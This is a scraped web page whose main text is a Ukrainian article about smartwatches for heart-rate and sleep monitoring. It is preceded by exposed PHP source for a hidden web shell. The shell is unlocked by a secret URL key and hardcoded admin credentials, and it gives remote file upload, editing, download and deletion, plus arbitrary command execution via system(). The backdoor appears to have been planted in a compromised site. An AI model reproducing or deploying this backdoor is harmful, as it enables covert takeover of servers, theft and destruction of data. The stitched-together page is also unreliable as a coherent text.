if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Найкращі смарт-годинники для моніторингу вашого здоров’я – collectives.berlin

Your digital paradise.

Найкращі смарт-годинники для моніторингу вашого здоров’я

Apple Watch Series 8 – відмінний вибір для тих, b-mobile.com.ua хто шукає максимальні можливості аналізу активності. Вона має вдосконалений датчик серцевого ритму та функцію вимірювання рівня кисню в крові, що допоможе контролювати загальний стан організму.

Samsung Galaxy Watch 5 пропонує унікальну перевагу у вигляді сенсора для моніторингу складу тіла. Завдяки цій функції користувач може отримувати дані про кількість жиру, м’язової маси та гідратації, що значно розширює можливості оцінки фізичної форми.

Garmin Venu 2 стане незамінним інструментом для спортсменів. Цей пристрій оснащений розширеними функціями для відстеження різноманітних видів спорту, включаючи біг, плавання та велосипед, а також пропонує детальний аналіз сну.

Xiaomi Mi Band 7 славиться своєю доступною ціною та відмінною автономністю. Цей фітнес-трекер дозволяє відстежувати активність, моніторити серцеві стрибки та відслідковувати якість сну з приємною для ока графікою на AMOLED-дисплеї.

Основні функції пристроїв для моніторингу фізичної активності

Основною особливістю, яка визначає функціональність розумних годинників, є вбудовані датчики для трекінгу фізичної активності. Це дозволяє здійснювати моніторинг кроків, витрачених калорій та дистанції. Наприклад, акселерометри і пульсометри здатні фіксувати не лише швидкісний режим, а й визначати тип тренування, та обчислювати оптимальні параметри для досягнення особистих цілей.

Моніторинг серцевого ритму

Спостереження за серцевим ритмом є незамінною функцією, особливо під час інтенсивних тренувань. Багато гаджетів пропонують постійний моніторинг пульсу з урахуванням індивідуальних показників. Дослідження показують, що дані про частоту серцебиття під час спортивних навантажень допомагають уникнути перевантажень і, відповідно, травм. Окрім цього, є можливість задати цільові зони пульсу для максимальної ефективності тренувань.

Аналіз сну та відновлення

Контроль якісного сну також є важливою складовою підтримання загального фізичного стану. Пристрої забезпечують аналіз часу сну, фази сну та навіть рівень сну. Ці дані допомагають користувачам зрозуміти, як краще відновлювати сили після фізичних навантажень, а також помітити проблеми, які можуть виникнути через нестачу сну.

Як пристрої стежать за серцем та сном

Системи моніторингу, які вбудовані в сучасні гаджети, дозволяють контролювати серцевий ритм у реальному часі. Для цього використовуються фотоплетизмографи, що зчитують зміни в обсязі крові через шкіру. Рекомендується звертати увагу на дані про максимальну та мінімальну частоту серцевих скорочень, а також на можливі аномалії, такі як аритмія. Частота пульсу може сигналізувати про фізіологічні зміни в організмі, тож регулярний моніторинг допомагає запобігти проблемам.

Слідкування за сном

Аналіз сну відбувається за допомогою акселерометрів та пульсомірів, що фіксують активність тіла під час сну. Гаджети можуть визначати фази сну, такі як легкий, глибокий та REM-штат. Щоб визначити якість сну, важливо оновлювати дані про тривалість сну та кількість пробуджень. Врахування цих показників дозволяє встановити оптимальний час для сну, що збільшує відновлювальний процес.

Рекомендації для покращення самопочуття

  • Регулярно переглядайте показники пульсу, особливо під час стресових ситуацій.
  • Спробуйте встановити режим сну, враховуючи середню тривалість вашого відпочинку.
  • Додайте фізичні вправи до вашого розкладу для підтримання серцево-судинної активності.

Leave a Reply

Your email address will not be published. Required fields are marked *